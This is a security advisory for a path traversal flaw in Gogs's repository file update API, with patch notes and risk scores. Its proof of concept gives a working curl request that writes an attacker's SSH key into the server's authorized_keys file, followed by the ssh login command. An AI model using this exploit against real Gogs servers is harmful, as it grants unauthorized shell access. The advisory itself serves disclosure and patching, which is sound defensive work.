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GHSA-qf5v-rp47-55gg

HighCVSS 8.8 / 10
Published Dec 23, 2024·Last modified Apr 10, 2025
Affected Components(0)

No affected components available

Description

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

  1. Generate a Personal Access Tokens

  2. Edit any file on the server with this

    curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
-H "Content-Type: application/json" \
--data '{
  "message": "an",
  "content": "<base64encoded: your ssh pub key>"
}'

  3. ssh connect to remote server

    ssh -i temp git@localhost -p 10022

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
75.20%

The exploit probability is very high. The vulnerability is very likely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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